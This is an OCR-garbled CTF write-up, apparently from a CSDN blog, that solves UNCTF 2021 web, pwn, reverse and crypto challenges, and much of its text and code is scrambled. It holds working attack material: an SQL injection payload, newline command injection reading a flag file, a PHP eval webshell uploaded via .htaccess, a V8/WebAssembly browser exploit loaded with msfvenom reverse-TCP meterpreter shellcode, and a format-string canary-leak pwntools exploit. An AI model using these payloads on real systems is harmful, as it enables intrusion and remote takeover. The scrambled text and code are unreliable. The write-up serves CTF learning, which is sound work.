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fuzz_md5

HIFJRIG, FTfEA\user. pass, userd®E="unctf”,passfImd5qi5HL 7 E="66666"-

userf# Fpreg_replace, F#tunctPh=, (EAXE#—IR, B HununctfctfXU 5 Geit .

$a=preg_replace( ,"",%user);

md51 i A AS A5

(48,123):
for asc2 in (48,123):
for asc3 in (48,123):
for asc4 in (48,123):
for asc5 in (48,123):
asc (ascl) (asc2) (asc3) (asc4) (asc5)
proof asc
digest hashlib.md5(proof.encode( )) .hexdigest()
if digest[@:5] md5 :
zhi proof
f (
f.write(zhi)
f.close()
print (proof digest

payload:

user=ununctfctf

pass=010LH

5 3flag
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<Yphp
error_reporting (0);
highlight file( FILE J:
include(“flag. php™);
Fuser=3_GET["user”];
Jpass=3_POST["pass"];
Jpass?=mdt (Jpass) ;
fpassi=substr (fpassZ, 0, &),
$a=preg_replace (" /unctf/i”, ", Juser)
1f(Fa==="unct”) {

11 (pass3==="66666") |

echo $flag;
1
elzef
echo  “welcome to wmctf ™
!
1
elzef
echo “welcome to unctf
1

UNCTF{1e779095-7¢32-40cb-9315-e50c263bf4d3}
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Encryption ~ Encoding ~ SQL -~ XSS~  Other -
@ Load URL | nitp//2eb23a91-29fb-43d6-81ef-14f1ac5bd96f. node1 . hackingfor.fun/?user=ununctfct

Q'E Split URL Postdata [] Referer [] User Agent [J] Cookies Clear All

v Execute

pass=010LH CSDN @weixin_46356545¢
can_you_hacked_me
F12&F, ARAEBEwWWW.Zp, T THME2,
7Edb.sqlEF K 5 %5 ~Hadmin, AdminSecret, {H#£Z#E~“Admin only allow to login at localhost”.

B IR R ILEA T

$_SERVER[

)5

2R K IM$_SERVER[‘REMOTE_ADDR’J T #:44it
REBIFEIDIT

function wafl($inject) {
preg_match( ,$inject)
)

wafl($username) wafl($password);

$sql $username $password ;

$result = $conn->query($sql);




CREATE DATABASE IF EXISTS supersqli;

USE supersqli;

CREATE TABLE IF EXISTS “users™ (
“id int(10) NULL,

“username” varchar(20) NULL,
“password” varchar(20) NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO “users  values(1,

ZRSQLEA, RS iE TIREZ K@, EFHERATIEE
payload:

username=\&password 1 limit 1 offset 1;

PR 5 SEPREISQLIERIA

select from “users’ where username 1 limit 1 offset 1;

i $usernamefE N FI\# and password = i [#1'%#5 LREL, 1 and password = BN T F4~F 5
username = ‘\’ and password =’ < 17ESQLH HizH &R R /K E, I Llimit 1 offset 1FR & 267 T F 2% Hadminid &
B 3flag

Can You Hacked me?

Username: | |
Password: | |
| Bz |

select * from users where username = % and password = < 1 limit 1 offset 1;--
Velcome Admin, here is your flag: UNCTF {29fc7ER0-710a-4357-908e-9a846ec7 700}

= Desls DSt NREs (JatsEs Qus Ore Bei  oesms FfE% ) HackBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
& Load URL | hitp://0c37d2b2-9116-4a3d-bda0-2d31a427144e node1_hackingfor fun/?usemaihe= dpadeitiab i ik 7 oeatd o+
Kbz 4b, EA{EH’Y and password =20, 7ZESQLH’\ and password ="Kz H 45 BN EF0

MSQLF & 5HF RN B Z/FEEN AT, BadminXFHFRFEPRERT, HHERAIF0
F#&’admin’ = and password =A0< ¥4k H0=0, %ML,

phpmysq|

HiHYEY, FE (£ Ahost. user. pwd. port



if(is_numeric($db_host)){

echo( . )

if(preg_match( ,$db_user) preg_match( ,$db_pwd) preg_match(

die( )5
b

system( $db_host $db_user $db_pwd $db_port
)i
else{
echo( .
if(!isset($db_user) isset($db_pwd)){
eval(
}
else{
$db_user = str_ireplace( , $db_user);

eval( $db_user($db_pwd );

ZREANBINSH, host®m# AHFAY, 127.0.0.192130706433

Post data host=21307064338port=33068pwd =root8user=root

<?php
show_source(_ FILE_ ).
echo ("ARIM3EF|unct£2021, have fun”. "<br>”) :

§db_host=§_POST[ host’ ];
$db_user=§_POST[ user’ ];
$db_pwd=$_POST[ pwd’ ];

$db_port=$_POST[ port’];

if(§db_host="") {
die ("FHEEMIL A EEAT! )

if(is_numeric (§dbo_host)) {
echo("fakeflag is /flag”. "<br>");

if (preg match("/; [\||&/is”, $db_user) preg_match(”/: |\ |&/is”, $db_pwd) preg_match("/; |

die "RASFTIZATA)

system( mysql —h $db_host —u $db_user —p $db_pwd —P $db_port —enable—local-infile”):

else

echo("Maybe you can do someting else”. “<br>”);
if(!isset ($dbo_user) lisset ($db_pwd)) {

eval(“echo new Exception(\"<scriptralert( F=iTE, WERR! | | ') script>\”) ;") ;
else

$db_user = str_ireplace("SplFileObject”, "UNCTF2021”, $db_user):
eval ("echo new $db_user ($db_pwd) ;") ;

b OERIPER|unct£2021, have fun

Pl

&/is”, $db_port)) {

@weaitin 46356548
fakeflag is /flag LN EWEXIT 03300

#H%0a3 1T, PATH4L
WRIER RN i cat flag kKM TLIER EIL R, #HIs /&KIMAaght X144 Hilllaaaaag

payload:



host=2130706433&user=root&pwd=root&port=33067%0als Qa
host=2130706433&user=root&pwd=root&port=3306%0acat /fllllaaaaag/@a

5 %flag

Post data host=2130706433&user=root&pwd=root&port=3306

<?php
show_source (__FILE_ ) :
echo (AR IPHEF|lunct£2021, have fun”. “<br>”);

$db_host=§_POST[ host’ ];
$db_user=%_POST[ user ];
$db_pwd=$_POST[ pwd’ ];
$db_port=$_POST[ port’]:
i£($db_host==""){

die ("EHBEMIETEEAT! 1),

if(is_numeric($db_host)) {
echof”fskef'ag is /flag”. "<br>”);
if(preg match("/: |\ |&/1is”, §db_user) preg match(”/: |\ |&/is”, §db_pwd) preg match(”/: |\ |&/is”, $db_port)) {
\
,n'

die(” ﬁ/\f’i H'//'_’x; ;

system(“mysgl —h $db_host —u $db_user —p S$db_pwd -P $db_port —enshle-local—-infile”);

else{
echo{"Maybe vou can do someting else”. “<br>”);
if(!isset (§do_user) :issethdb_pwd:::
eval ("echo new Exception(\"<scriptralert | FiFE I, TMARIER! | | ") scriptr\”) ") ;
else{

$db_user = str_ireplace("SplFilelbject”, “UNCTF2021%, $db_user):
eval ("echo new $db_user ($db_pwd) ;") ;

.rl’."! g gy 1
N_409329004846

RiPEE | unctf2021, have fun CSDMN @weix
fakeflag is /flag o e

babywrite

B, F{EAfilename. contentEshell

if (preg_match_all( , $filename) strlen($filename) 10) {
die( E

1
J

if (preg_match_all( , $content)) {
die( )

i Fpreg_match_allid i T ph, 23R8 F $dH geid
XHEABTLIEE SN, BXH4L3E T ‘Array’
23R 5 N htaccess 3CAF B 5 SCHMENT A, 8 H B % 1 T 4 4 /E php gt

payload:

filename=.htaccess&content[ ]=AddType application/x-httpd-php .png

BNE, B png SRt B Ak AR AT



payload:

filename=1.png&content[]=<?php @eval($ POST[a]);

<dphp

hishlisht file{ FILE

$sandbox = md5(3_SERVER[ REMOTE_ADDR' 17,
if (lis_dir(3sandbox)) |

mkdir ($sandbox)
}
if (isset(3_GET[ filename 1) && isset(3 GET[ content’ 1))
Jfilename = 3 GET[ filename' ];
Jcontent = $_GET[ content’ ];
if (preg_match_all(“/phl%.%. [W//1", 3$filename) || strlen(3filename) » 100 {
die(™MNo way!”);
}
if (preg_match_all(“/\7|ph/”, 3$content)) |
die(™MNo way!”);
}
$filename = $sandbox . 7/7 . 3filename;
@file_put_contents(3filenams, Fcontent)
echo  $filename:
!

Warning: preg_match_all() expects parameter 2 to be string, array given in /var/www/html/index.php on line 13
1b5337d0c8ad813197b506146d8d503d/1.png
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@ Load URL | itp://53460026-980d-40c8-bbSb-c1e23ebasc76.node hackingfor fun/?filename=1.pngacertentELy D @ évaiS o)
15 F L 81 3% B getshell

R B %18 2lflag

@ mEwE

AntSword RE SO B

4 H (0 139.159.140.72
O #atE: /flag

{flag
1  UNCTF{4bd96458-cd35-4313-9c6b-644260db7083)

encrypt_login
B FAEHBurp Suite?= &k, KIBIERMFEK), TIEEERB



Burp Suite Professional v2020.9.2 - Temporary Project - licensed to Cola
Burp ME MiE SxE HO M

[ Dashboard TTarget TProxy T Intruder I Repeater ISequencer I Decoder T Comparer T Extender I Project options I User options TjsEncrypter I BurpCrypto ]

j Intercept T HTTP history IWebSuckets history I Cptions ]

/ http://3912c627-3442-4dd5-0aff-b2ad699f4a70 node 1. hackingfor fun:80 [139.159.140.72] & #H
Lz = | I

EEIFR J { Open Browser J

Raw | Params | Headers | Hex

Pretty ‘n Actions v

POST /login. php HTTP/1.1

Host: 3912c627-3442-4dd5-Faff-b2ad6?9f4a70. nodel. hackingfor. fun

User-Agent: Mozilla /5.0 (Windows NT 10.0; Winé4: x64; rv:95. 0) Gecko/20100101 Firefox/95.0
Accept: */*

Accept-Language: zh-CN, zh:g=0. 8, zh-TW;g=0. 7, zh-HK:g=0. 5, en-US:g=0. 3, en;g=0. 2
Accept-Enceding: gzip, deflate

Content-Type: application/x—www—form—urlenceded; charset=UTF-8

X-Requested-With: XMLHtipRegquest

Content-Length: 177

Origin: http://3912c627-3442-4dd5-Faff-b2ad699f4a70. nodel. hackingfer. fun

Connection: close

17 Referer: http://3912c627-3442-4dd5-Faff-b2ad699f4a70. nodel. hackingfor. fun/login. php

13 Cookie: __yjs_duid=1_23fbc736far2b7d6d2d203782Fe062fb1636727652765; PHPSESSID=1de75ba542ade5chd9f5273654af 7882

[N L SN

- o0

15 data=

Fa =y )~
IUunt3eED\r?00NJsususxw4nJuusf|\rx6yfpu|w¢fnfmnzf1svel.f+720fufsmzszHangyk:intszmwuwccmsuw|pesamazgwuvhpks1G‘rdecnvwadyxwmc-asuznﬂ«#wﬁ' JuéFimsdr LH?’I 0G0 i

F12#& % Blencrypto.js, KIFEH T jsjiami.comxtjsiEAT N R ¥E
BN Z I,
SREE T R ER, BRINE T ARSAKAH

=

Xf— AN B S HEAT N, R LG SR B E P BUAR R 2 MBI R BRARRD, KRB A EE

& al TE e BRE mE O ME AF  IEEs =2 TR o
TE T4ES B » [@ joueryminjs  encryptojs  enayptojsformatted X [FCE 2 ST N )
v DOtop :f I T “ o BRERCEE
v 3912c627-3442-4dd5-Gaff-bZadE  po| o oo T
i teginphp D ox28ac( ‘6", 'CG#a'))[_8x28ad('1", 'esgw’)](function() { =
cacomings var _@x326cBF - { _Ox326OF = {foePj: -BEGIN PUBLIC KEY---- - <MIGFMABGCSqGSIb3DQEBAQU.KIVXPHUQVEru/ D PUBLIC KEY-----", DTea¥: f, IeKGb: f, iskKgm v R
mins: 58 “DTeqy': function(_@x1553sa, _@xdon » et 1ia
i (Ex) encryptogsfomatt
encryptojs | 39 return _0x155333 == _Ox4bbl67;
B usercss T 5 dispatch min,
o1 “IexGb': function(_0x2eces3, _@xd7olsb, _@x12006a) { handle [
B signinsvg return . 0x20cB33( oxeT0135, 0x120065) & Jquery.min s
& cdn.bootedn.net " N v (ER
o] P _exasaa('2', nex(’
UED e o5 : Function(_exlcsase, _ex2196co) ¢ i . )
+ O cdnastaticile.org | o6 g furn _0x1c6939 + _Bx2194¢%; ¥ this: button#submit.btn.btn-primary
3 _Ex20b0al: "-----BEGIN PUBLIC KEY-----
03 ¢ function(_ex213e0s, _6xe318d3) { |seres 5 g
arn otz - oueiiie e s s s
3 IPCXFFY GXcAc+
TINTSF': _@x28ad('3" Y,
102 "0 Function(_0xdLisdc,  0xdbfFE) { | SR L) |
turn _oxdLISac(_eabtie); e END PUSLTC KEY-----
v _exazecor:
ox28ad( 4", '&(SE'), b DTeq¥: £ (_@x1553aa, Ox4bb167)
106 Function(_xess713, 0x17d25¢) » TeKGD: £ (_0x2ecOE3, 0x47b18b, 0x120063)

107 turn _0xe86713 + _@xa7a2bc;
EETE) 3
ar _0x518201 = new JSEncrypt(); _BxS182dl = t {default_key size: 1024, default_public_exponent: "€10091", log: false, key: e}
€ ZBad( 'Dnht')]; _@x20bBal = "-----BEGIN PUBLIC KEY----- +<MIGFHAGGC KBEQDEUSSbbI7]rsKYeSaBgoPI0BeU-HXdNyUxtPFewuCrsYECHN
ize: 1024, default_public_exponent: "016001", log: false, key: e}
£Ua") JD(_Dx326c0F(D,_0w28ad ("6, 'VSi5') ID(DS(_0:326cRF[D_Bx28ad('S", 'Spve ))[ VAl D),
L2

173, _0x326ce+ DN

INTF: “gusername”
> OSnuF: f (_Oxd115dc, 0x2bffFE)
» prxa F (_ox213e06, _0xes1803)

1c6939,_0x2194c9)

D
_exaBad (e, 84%)°),
1 _ex326c0F[_ox28ad( ', s

B,
%326c0F[B_Bx28ad(' 10", ]bx ) IDC deta=r, _oxe833f6),
i 5

anes

« » 47“3‘ 5169

R: £ (oxas5715, 0x17a2oc)
Object
fined

t {default_key_size: 1024, default_public_expone.

MY Window
v i
E=aE mEE

v
CSDN ’iu‘f‘,'auﬂn;‘,mug"

-———BEGIN PUBLIC KEY----- MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBiIQKBgQD6EUS5bbJ7JrsKYeSa8goPJQBgU

WXdNyUxtPfewuCrs YEcWNdnk1fpldSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE

Hzb2y+GTqdmNzZ53JPcxrFIYMV3NXOEOk3qMzgcSV/gXcAcHWXLSTVS50VeWV8Lr KIVXPMuQVgrw/SxkBQIDAQAB

--—-END PUBLIC KEY-----

t {default_key_size: 1024, default_public_exponent: “010001”, log: false, key: null}

B =r;': _8x28ad('2', 'nF%('),
95 alWKg': function( Bx1c6939, @x219dc9)
return _B8x1c6939 + _Bx219dc9;

_Bx1c6939

= "admin]|-|",

_Bx219dc9 = "123456"

PR P 4G
fEFbp/&H%, f#FHBurpCryptod B, HTSHER AN, THFHTRHEKEE.

<MIGFHARGCSQGSIE3DQEEA



[ Dashboard TTarget I Proxy I Intruder T Repeater I Sequencer I Decoder I Comparer T Extender I Project options I User options TjsEncrypter IBurpC.'ypto ]

AES | RSA | DES | Exec Js

RSA Setting

RSA, Public Key Format: | X509 =

X509 Key(Basebd): MNyUxtPfowuCrsYEcWNdnk1fpldSfUvrku39fY 1+h1ciyanpsHT9uSzugsUrPE Hzb2y+GTqdmMNzZ53JPexrF Y My3NX0EOk3gMzgeSV/gkeAc +HWxLSTVEOVeWVELr KIVAPMuQVgrw/SxkBQIDAQAB

Qutput Format: | Baseb4 |¥ =) X

l Add processor Jl Remove processor J 6 Please give this processor a special name:

RSA

(s

B EBAE BB E Ndata, BIFERRHE L Nadmin, FiE A%y, #EntruderfPayloads

Taln AR . RARRRAR
CSDMN @weixin_46356548

WEAMBAENE, BT A MERRME, REELEFEEMCET G, REAROEAHE, FmEi%admink, ¥#HH

Burp¥™ &

BRmHE: (1 x| mnsESE: T6H

BAsEAD: |4 x| EksE: T

() FEBET(HF

This payload type generates numeric payloads within a given range and in a specified format.

Eatilg ®EE O R

From: 0

To: 9999999999

e 1

ESTE
B @® Decimal O +7<3##
BHSSOR M |
RS MR AR

RS

SEBHAIT [:::]

1

1
987654321

Q) #xaRsLa

You can define rules to perform various processing tasks on each payload before it is used.

| Em | | RA )

[+ Add Prefisx: admin|-|

P
[ﬂ ] Invoke Burp extension: BurpCrypto - RSAE...

Fiaddr, MERZ, ERERMEEEN 5 2lag, R4S 2% HN5162




B! Intruder attack 2 — O >
mE R7F 5
J Results TTarget T Positions T Payloads T Options }
HER: BTHERE ©)
BR BN HE [me B [ RE . e
5163 Jqup3o6gikgFRIUSxRmxd... 200 ] ] 368 |T
5164 kelg59SLDyThbAZPeqdla... 200 O O arn D
5165 LQGHbGellgSTIKCOQYwWL... 200 O O arn
5166 PcSPmp08pNn1E/bpYME6... 200 O O arn
5167 8WolPdelLarSRnMXMdw_ . 200 O O arn
5168 C2hT3UQgASzURwgLInQ... 200 O O arn
5169 JULIWOQA2/MIxbMifFTa)... 200 O O arn
5170 4yG+REmBSNpexQriMQd... - 200 O O arn
5173 0IMcO1kBiHeDUINgMNSka... 200 O O arn
5172 4Y0O08EHUmMaSPXbgsXk... 200 O O arn -
A174 anSmuiHXY afhBHWXal Blr 200 1 FW. 370 ¥
Request | Response ]
J Raw T Headers T Hex ]
ZENVN Fi5 Render \n Actions w
1 HTTP/1.1 200 OK L
7 Server: openresty/1.17. 8.2 1
3 Date: Mon, 06 Dec 2021 12:56:57 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
&6 X-Powered-By: PHP/7. 3. 22
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
& Cache-Control: no-store, no—cache, must-revalidate
% Pragma: no—cache
10 Content-Length: &9
11
12 Niu B, here is your flag: lIHGTF [ff337925-feB7-4b7e-b427-1430c95d2ef1]
.
A
Dics [« ||| search.. BHA
9122 | ESEh-Ewein 6356545

A T3 FE AH 7E
ThAE 2 IREUN TR, ARIEIRRIE R User-Agent”, 5 I B i 24> 5
fEFHH SRS, AR User-AgentfIR A%

document navigator.userAgent

ERARNLYT M T, B BhEREX



4 B 0 WA B3 R A A HeadlessChrome/89.0.4389.114, %% ALinux x86_64

BRBAZIA J T AR RABIAT R, ALK exp:

script
function gc() {
for (var i 0; i 0x80000; i) {
var a new ArrayBuffer();

}
let shellcode = [7EMLIEAmsFvenomEREIKINE];

var wasmCode = new Uint8Array([®@, 97, 115, 189, 1, @, @, ©, 1, 133, 128, 128, 128, @, 1, 96, ©, 1, 127, 3, 1
128, 128, 128, 0, 1, @, 4, 132, 128, 128, 128, ©, 1, 112, @, @, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 1
128, 128, ©, ©, 7, 145, 128, 128, 128, O, 2, 6, 109, 101, 109, 111, 114, 121, 2, O, 4, 109, 97, 105, 110, O,
10, 138, 128, 128, 128, @, 1, 132, 128, 128, 128, @, 0, 65, 42, 11]);
var wasmModule new WebAssembly.Module(wasmCode);
var wasmInstance new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(@, true));
)i
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
)i
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(@, true);
)i
function f2big(f) {
bfView.setFloat64(9, f, true);
return bfView.getBigUint64(0, true);
)i
function big2f(b) {
bfView.setBigUint64(0®, b, true);
return bfView.getFloat64(@, true);
)i
class LeakArrayBuffer extends ArrayBuffer {

constructor(size




super(size);
this.slot 0xb33f;

}

function foo(a) {
let x ilg
if (a) x = OXFFFFFFFF;
var arr new Array(Math.sign(® - Math.max(@, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr([0] 5odlg
let buff new LeakArrayBuffer(0x1000);
arr[0] 0x1122;
return [arr, local_arr, buff];
s
for (var i 0; i 0x10000; i)
foo(false);
gc(); 8cO);
[corrput_arr, rwarr, corrupt buff] foo(true);
corrput_arr[12] 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] i2f(fLow(rwarr[4]), hi);
rwarr[5] i2f(low, fHi(rwarr[5]));
)s
function leakObjLow(o) {
corrupt_buff.slot 0;
return (fLow(rwarr[9]) 1);
)i
let corrupt_view new DataView(corrupt_buff);
let corrupt_buffer ptr_ low leakObjLow(corrupt_buff);
let idx@Addr corrupt_buffer ptr_ low 0x10;
let baseAddr (corrupt_buffer ptr_ low oxffffo000) ((corrupt_buffer ptr_ low oxffffoo00) 0x40000)
X40000;
let delta baseAddr Ox1c idx0@Addr;
if ((delta % 8) 90) {
let baseIdx delta 8;
this.base fLow(rwarr[baseldx]);
} else {
let baselIdx ((delta (delta 8)) 8);
this.base fHi(rwarr[baseldx]);
)i
let wasmInsAddr leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry corrupt_view.getFloat64(13 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i 0; i shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
)i
main();

script

13 F B R 75 4 F msfvenom AR 4 52 br A 5 42 Bishellcode B AT
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=IP#itik Iport=3 1 -f csharp

1§ Fmsfconsole 7 jg M W i B multi/handler

use exploit/multi/handler, set payload linux/x64/meterpreterireverse_tcp, W EBMKXSH




EIRAENLY RS A BB, MERZ, BIREshel

BEXMH, FKfEflag

44444440

7
=
=
=
=
=
=
=
=

ncE#, KIA R format string”

IDAFTH, KIETTEE, 7 EHEWMITcatflag

E Functions window O &8 x I__]E| IDA View—h = FPsendoa
Function name &) :{':_' backdoer()

|F| _do_global_dtors_aux return system("cat flag;");
[F] frame_dummy 43

[7] speaking

(] leak

[7] backdoor

|E|_ main

EEmain, fEleak()H F7E A F F HIIRTHE

3| char s[88]; //
4| unsigned __int&4 v2; //

= _ readfsqword(@x28u);
puts(
8 "I heared that you are interested in the CTF.\n"
9 " I hope that you will held eon to keep your interestn
18 " tell me,will you?™);
11| fgets(s, 8@, stdin);
12| puts("I will remember what you said"};
13| printf(s);
14| puts("wait for your good news...");
15| gets();
16| return _ readfsqword(@x28u) ~ vZ;

{f Flchecksec B & X %415 B



/home/zhou/ % &

L e 1
fo: ELF -bit LSB able 64 (er ) interpreter /lib64
/1ld-1inu 6-64. " G M BuildID[sha1l] 76a
a9c not stripped

@ /home/zhou/5

RELR STACK CANARY NX RPATH RUNPATH Symbols
FORTIFY Fortifie Fortifiabhle
rtial anary founcd I

2
|

RIAEIFE T CanaryfRi
Ltext:0000000000400757 leak proc near ; CODE XREF: main+4Fip
.text:eodoooooeaseRTET
text:edodoaeaelearey s = byte ptr -68h
.text:edepedededed /87 var_B8 = gqword ptr -8
Ltext:@ededoaeaelearev
Ltext:0000800000400787 3  unwind {
Ltext:0000800000400757 push rbp
Ltewt:bpbaeaRRE10E7EE maow rbp, rsp
Ltext:0000802000400758 sub rsp, &2h
.text:popo00000010078F mow rax, fs:28h
Ltext:0080802000400798 mow [rbpt+var_8], rax
text:60600000008400879C xor eax, eax
Ltext : epRA620008480 7IE mov edi, offset alHearedThatYou ; "I heared that you are interested in the’
Ltext:00202020004007A3 call _puts
Ltext:00008000004007A8 mow rdx, cs:stdin@@GLIBC_2 2 5 ; stream
Ltext:@0202000004007AF lea rax, [rbp+s]
Ltext : epRA6200084807E6 3 mov esi, 38h ; 'P" ; n
.text:pep0000000100768 mow rdi, rax H
Ltext:00008020004007E8 call _fgets
.text:sopopoREREL00TCE mow edi, offset aIWillRememberW ; "I will remember what you said’
Ltext:00808020004007C5 call _puts
Ltext:20002000004087CA lea rax, [rbp+s]
Ltext : epRA620008480 7CE mov rdi, rax ; Tormat
text:6880000008488701 mow eax, @
.text:eodopoeoeateaTDE call _printf
Ltext:@020202000406708 Mo edi, offset aWaitForYourGoo ; "wait for your good news
Ltext:00002000004007E0 call _puts
Ltext:002020000004007ES lea rax, [rbp+s]
Ltext : epRA6200084807ED mov rdi, rax
text: 606000000840087EC mow eax, @
Ltext:00808020004007F1 call _gets
Ltext:ededoaeaelea7ro naop
Ltext:00808000004007F7 mow rax, [rbptvar_8]
.text:sepe0000001007FB Xor rax, fs:28h
Ltext : 0PRA620008480504 jz short locret 4280388 Py Fnaivin Ae2Eem AL
.text:A0REROEORAL00506 call __ stack chk _fail AU BEWEIAIT _S03009%0

A A AL 7 R IR TR R Canary R B R U s I R B 46

aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

ted in the
11 hold on

RIEIDA L KIME B 15 ElsfCanaryfi 20x58, ®8NMFTA—SH, WAHHEH0x58+8=11, 11+6=17, FiLlBRLKNWRBEEN
17, BI{EH%17$p3T EN HH Canaryf Huhik

5 & backdoor()H Hs bt



Ltext:papapapapada0s00
JLext:pepepepenedensol ; =ssssssss====== 5 UB ROUT I N E =========s===========
Ltext:papapapapada0s00
.text:0000808000400800 ; Attributes: bp-based frame
Ltext:papapapapada0s00
Ltext:p08R82000040038D public backdoor
Ltext:@020000000400880 backdoor proc near
Ltext:p08080000040803880 ;  unwind {
Ltext: @0ERE2000040658D push rbp
Ltext:pepapapapa4apaBE mow rbp, rsp
Ltext: pepapapapalansll mow edi, offset command ; "cat flag;”
Jtext:BeReaRoaea422310 mow eax, &
Ltext:0020020000400816 call _system
Lext:pepapapapa4aps2e nop
Ltext:epbaaaapaa120821 pop rbp
Ltext:pepapapapa4aBa22 retn
Ltext:eoppeRERERARE822 ; } // starts at 4eeseD CSON @weidn 4
Ltext:p082000000480822 backdoor endp o e
1§ A pwntools
exp:

from pwn import

io remote( , 39467)
context.log_level
flag_addr = 0x40086D
io.sendlineafter(
io.recvuntil( )
(io.recv(16), 16)
(0x58)

io.sendline(payload)

p64(canary) .decode( p64(flag_addr).decode(

print(io.recv())

print(io.recv())

B 3flag

A IDLE Shell 3.9.7

File Edit Shell Debug Options
[DEEUG] Received 0x88 bytes:
[

Window Help

b I heared that you are interested in the CTF.\n’
I hope that yvou will hold on to keep svour interestin’
b’ tell me,will you?hin’
[DEBUG] Sent 0xf bytes:
b %178psn’

Warning (from warnings module):
File "E:CTFWBI&E \punfo.py”, line 7

io. recvuntil ("0x”)
BytezWarning: Text iz not bytes;
.pwmtools. comfHbytes
[DEBUG] Receiwed Oxld bytes:

b’I will remember what wyou said’
[DEBUG] Receiwed 0x2f bytes:

b’ o

b’ 0x286235501 40500

b wait for syour good news...

agsuming ASCII, no guarantess. Ses https: /S docs

'

Warning (from warnings module):

File "E:“\CTF\#IZ& \pumfo. py”, line 13
io. gendline (payload)
BvtesWarning: Text iz not bytes; assuming IS0-9859-1, no guarantees. S5See https: /S
fdoce, pumtools. con/#bytes
[DEEUG] Sent 0x71 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | asss | ssad |
Anfh | pann |
*
noooooso (41 41 41 41 41 41 41 41 00 05 c4 le &0 35 62 28 | Adad | Adad |
. . . PEb
noooooeo 41 ﬁl 41 41 41 41 41 41 0d 08 40 00 00 00 00 OO | Adsd | adad |
. @ . . . . .

00000070 Oa [ -
00000071
'

b’ mwait for wour good mews...
[DEBUG] Receiwed Ox2c bytes:

b’ UNCTF {c364aded-T217-4Tel-bbea-4bA28046c802e] v’
b’[mFTF{c354a4cd—?21T—4?e1—bbea—4b68046c8023}\n’
s



Reverse
ezlogin
IDAFT F & FE main, 3 Alogin()

printf(
scanf( , Str);
printf(
scanf( , v19);
vl strlen(Str);
v2

LABEL_12:
v4 = MessageBoxA(9,
if ( v4 1 v4 6 )
{
v5 Q;
gmemcpy (v17,
V6 Q;
do
{

2; i 0; i)

v9 A
4 8;
Text[v6++]

v5;
}
while ( v5 4 );
Text[v6] 9;
MessageBoxA(0, Text, , 0x40u);

while ( v19[v2] v3
{
v2;
v3 2;
if ( v2 vl )
goto LABEL_12;

b
MessageBoxA(0,

RIname<=0BI & FRLh, {HILAL AR B N FR/F .

FAEelse AW TvI9v2] == v3 + Str[v2], REHEHP KM, BNASBRETFAI) . B&EREKE R Zname RN 1
i1, passwordfZE 1B FInameH [ .

K15 flag




UNCTF2021

[0} flag{refOrL@ve)

IDAFTFF&EFEmain, KR % B R

EEE
sprintf( s "EsEsHsHs", "WQGUL", “xb>2:", "ochas=", "''twk");
ifbﬂﬂk"ﬂ [ve]l + 2)) 1= [vel )
reaK;
if ( ++v9 > 28 )
1

REMARINE+2, XORTH#=WQGULxXb>2:00h95=""twk B[l & .21

Bl i, XORJE-2, f3iiflag

&6, T4, 67, 584, 70, 123, 98, B5, 56, 45, 99, 85, 55, B0, 57, 45
, 53, B2, 100, 95, 125

I ASCIIES ELIFIESIET ! FELALES .
S BABRE TR 2 S

|1.I'HCTF {751 cbbze054 b}

FLEFEPythonFTig, ZRWT:



(len(flag)):
num[i]=( (flag[i])+1i)~(k%3+1)
num|[ (flag)-i-1]=( (flag| (flag)-i-1])+( (flag)-i-1))"(k%3+1)
k+=1

print (num)

, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]

print( ((num[i]~(k%3+1))-1),end

print( ((num[i]~(k%3+1))-i),end
k+=1

5 Hiflag

pyTTradS_ls_fuﬂny!
BAT N2 IR E T .
chall

78 HiR/RRC4, TEMH

IDAFT T &% main
int _ fastcall process_a(int al)
{
bool vi1; // =zt
const char *v2; // rdi
vl = al == 22;
v2 = "YOUWRONG";
if ( vl
2 = "Imaginaticn is the tepic\nRivest Cipher Four:\ncodemaker™;

return puts(v2);

FH N LETES, BI2021

N\ process_a()

int _ fastcall process_a(int al)
{

bool wl1; // =zf

const char *v2; // rdi

1 = al == 22;
v2 = "YOUWRONG";
if (vl )
v2 = "Imagination is the topic\nRivest Cipher Four:\n I";

return puts(v2);

}

23R KB, codemakerfdi FiRC4IN% J5 B 2 flag



codemaker

RC4
Passphrase
2921 UTF& -
nput format Cutput format
UTF3 Basebd

Output

SDN @welzingdEanEsdar,
» = W E LN e PRI GEFw

Crypto
easy_rsa
24ps g. e. ¢
exp:

import gmpy2
import libnum
p 125251871498876285104474038811074420788338030973025794196056895307146903084374762078555116258400271198608346)
33695330551080761572835309850579517639206740101
q 996120270736696555674156566211071090291944127199680924100935866677885043544871032471170684597382066920148293
9820488174382325795134659313309606698334978471
e 65537
C 285874198020255135253547136214312060103950848544193720056710247392356258179365390104812224198246349566101844]
3030852894130495009322882621314326232990294681251351844458790646922438332096430041718927020201923185653101214347
2434842753891213128487132962453421971000901646523331476667655739056951415917218673801225

p"q

(p-1) *(q-1)
gmpy2.invert(e, fn)

(gmpy2.powmod(c, d, n))[2:]




= REEFTEEERETE 45504 www.45soft.com fEZR1.2 - ®

O FETEE 16 ) C ERE(6B2312-=GBK) O EFERUTFE O FEREREAL
& 16 HE=TTER " L E(GBK->GB2312) o UTFBRE=7TE

" =¥t Unicode " 2L BIG5(GBK->BIGS)

 Unicodet: =518 " BIGS4& B (BIGS->GBK)

C A pi2se R O, RS

